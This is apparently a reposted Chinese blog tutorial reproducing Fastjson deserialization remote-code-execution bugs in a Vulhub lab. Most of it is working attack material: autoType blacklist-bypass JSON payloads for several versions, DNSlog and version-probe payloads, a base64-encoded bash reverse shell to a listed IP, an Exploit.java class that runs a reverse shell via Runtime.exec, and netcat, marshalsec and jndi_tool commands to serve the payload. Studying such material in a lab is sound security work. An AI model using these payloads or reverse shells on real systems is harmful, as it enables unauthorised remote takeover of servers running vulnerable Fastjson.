0


Fastjson漏洞复现

Fastjson漏洞

Fastjson简介

Fastjson 是阿里巴巴公司开源的一款 JSON 解析器,它可以解析 JSON 格式的字符串, 支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 Java Bean 。

历史漏洞

Fastjson <=1.2.24 反序列化远程命令执行漏洞
Fastjson <=1.2.41 反序列化远程命令执行漏洞 
Fastjson <=1.2.42 反序列化远程命令执行漏洞 
Fastjson <=1.2.43 反序列化远程命令执行漏洞 
Fastjson <=1.2.45 反序列化远程命令执行漏洞 
Fastjson <=1.2.47 反序列化远程命令执行漏洞 
Fastjson <=1.2.62 反序列化远程命令执行漏洞 
Fastjson <=1.2.66 反序列化远程命令执行漏洞

Fastjson < 1.2.41
第一个Fastjson反序列化漏洞爆出后,阿里在1.2.25版本设置了 autoTypeSupport 属性默认为false,并
且增加了 checkAutoType() 函数,通过黑白名单的方式来防御Fastjson反序列化漏洞,因此后面发现的
Fastjson反序列化漏洞都是针对黑名单绕过来实现攻击利用的目的的。
com.sun.rowset.jdbcRowSetlmpl 在1.2.25版本被加入了黑名单,fastjson有个判断条件判断类名是
否以"L"开头、以";“结尾,是的话就提取出其中的类名在加载进来
那么就可以构造如下exp:
{”@type":“Lcom.sun.rowset.JdbcRowSetImpl;”, “dataSourceName”:“rmi://ip:9999/rce_1_2_24_exploit”, “autoCommit”:true}

Fastjson < 1.2.42
阿里在发现这个绕过漏洞之后做出了类名如果为L开头,;结尾的时候就先去掉L和;进行黑名单检验的方
法,但是没有考虑到双写或多写的情况,也就是说这种方法只能防御一组L和;,构造exp如下,即双写L
和;
{“@type”:“LLcom.sun.rowset.JdbcRowSetImpl;;”, “dataSourceName”:“rmi://x.x.x.x:9999/exp”, “autoCommit”:true}

Fastjson < 1.2.47
在1.2.47版本及以下的情况下,loadClass中默认cache为true,首先使用 java.lang.Class 把获取到的
类缓存到 mapping 中,然后直接从缓存中获取到了 com.sun.rowset.jdbcRowSetlmpl 这个类,即可绕
过黑名单。
{ “a”: { “@type”: “java.lang.Class”, “val”: “com.sun.rowset.JdbcRowSetImpl” }, “b”: { “@type”: “com.sun.rowset.JdbcRowSetImpl”, “dataSourceName”: “rmi://ip:9999/exp”, “autoCommit”: true }}

Fastjson < 1.2.66
基于黑名单绕过, autoTypeSupport 属性为true才能使用,在1.2.25版本之后 autoTypeSupport 默认
为false
{“@type”:“org.apache.shiro.jndi.JndiObjectFactory”,“resourceName”:“ldap://ip:1389/Calc”} {“@type”:“br.com.anteros.dbcp.AnterosDBCPConfig”,“metricRegistry”:“ldap://ip:1389/Calc”} {“@type”:“org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup”,“jndiNames”:“ldap://ip:1389/Calc”}

漏洞发现

Fastjson的作用是用于对JSON格式的数据进行解析和打包,所以出现json格式的地方 就有可能使用了 Fastjson。
bp抓到包,发到重发器中,改成post包,重放。(靶场中是get包,所以要改成post的包),但是在靶场中会直接看见是fastjson的框架。

请添加图片描述
请添加图片描述

不是靶场的验证方式:在抓到的包中去构造不闭合的函数导致它的错误,看返回的错误包,把type的字段改成json的,进行重放,可以看见是fastjson的框架。

请添加图片描述

漏洞检测

原理:java.net.InetAddress这个类在实例化时会尝试做对example.com做域名解析,这时候可以通过 dnslog的方式得知漏洞是否存在。

//payload
{ "name":{ "@type":"java.net.InetAddress", "val":"7bjl4cj800p3jqqvma0lwwvpsgy7mw.burpcollaborator.net" 
} 
}

从dnslog平台上复制网址开始重放,发现可以请求到,说明漏洞存在。

请添加图片描述

检测fsatjson的版本

//payload
[{"a":"a\x] {"@type":"java.lang.AutoCloseable"a

请添加图片描述

漏洞简介

fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法 来 访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。 fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造 的json 字符串绕过白名单检测。

影响版本:fastjson<1.2.48

漏洞靶场搭建

和之前搭建的靶场一样,进入vluhub开启1.2.47的靶场即可。

请添加图片描述

漏洞复现

JNDI
JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名
和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。
可以访问以下命名/目录服务:
RMI (JAVA远程方法调用)
LDAP (轻量级目录访问协议)
CORBA (公共对象请求代理体系结构)
DNS (域名服务)

RMI
它是Java远程方法调用,是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。
它使客户机上运行的程序可以调用远程服务器上的对象。

1.2.47反序列化漏洞(CNVD‐2019‐22238)
方法一 : JNDI注入 + RMI

1.漏洞靶场搭建完成后,访问它 (http://ip:8090)

请添加图片描述

2.下载工具包,可以在这个网址中找到工具的下载地址,这个工具在Log4j也又用到,物理机如果访问不了的,可以有用虚拟机进行wget 命令去下载。

https://github.com/wyzxxz/jndi_tool

wget https://toolaffix.oss-cn-beijing.aliyuncs.com/wyzxxz/jndi_tool.jar

3.进行反弹shell的操作。先将shell进行base64编码.

//shell
bash -i >& /dev/tcp/192.168.42.132/9999  0>&1

//经过base64编码的shell
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQyLjEzMi85OTk5ICAwPiYx}|{base64,-d}|{bash,-i}

4.使用jndi工具在攻击机的6666端口开启RMI协议的服务,然后监听反弹shell的9999端口。然后再bp上执行RMI服务给出的payload,就是截图中白色那片,点击重放。最后发现成功反弹。

//命令
java -cp jndi_tool.jar jndi.HRMIServer 攻击机ip 端口 “经过base64编码的shell”

//监听
nc -lvvp 9999

//payload
{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.42.132:6666/Object","autoCommit":true}}

请添加图片描述
请添加图片描述

方法二 marshalsec

1.下载工具marshalsec,利用它开启一个RMI服务。用脚本Exploit.java 进行反弹shell的命令。然后用javac Exploit.java 生成Exploit.class文件,然后开启服务去请求到这个文件。

//javac Exploit.java
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
    public Exploit(){
        try{
            Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/150.158.137.72/9998 0>&1");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}

请添加图片描述

2.在反弹shell的端口那开启监听,在Exploit.class的当前目录开启http服务,然后利用marshalsec-0.0.3-SNAPSHOT-all.jar 开启 RMI服务,构造payload在bp内重放进行攻击。

//监听
nc -lvvp 9999

//开启http服务
python3 -m http.server

//开启RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.42.132:8000/#Exploit" 6666
//重放的payload
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.42.132:6666/Exploit",
"autoCommit":true
}
}

请添加图片描述

3.最后成功反弹3.最后成功反弹

请添加图片描述

注:其他版本的也可以用第二种方式进行攻击,只是payload不同


本文转载自: https://blog.csdn.net/weixin_53747497/article/details/129828748
版权归原作者 00zzz 所有, 如有侵权,请联系我们删除。

“Fastjson漏洞复现”的评论:

还没有评论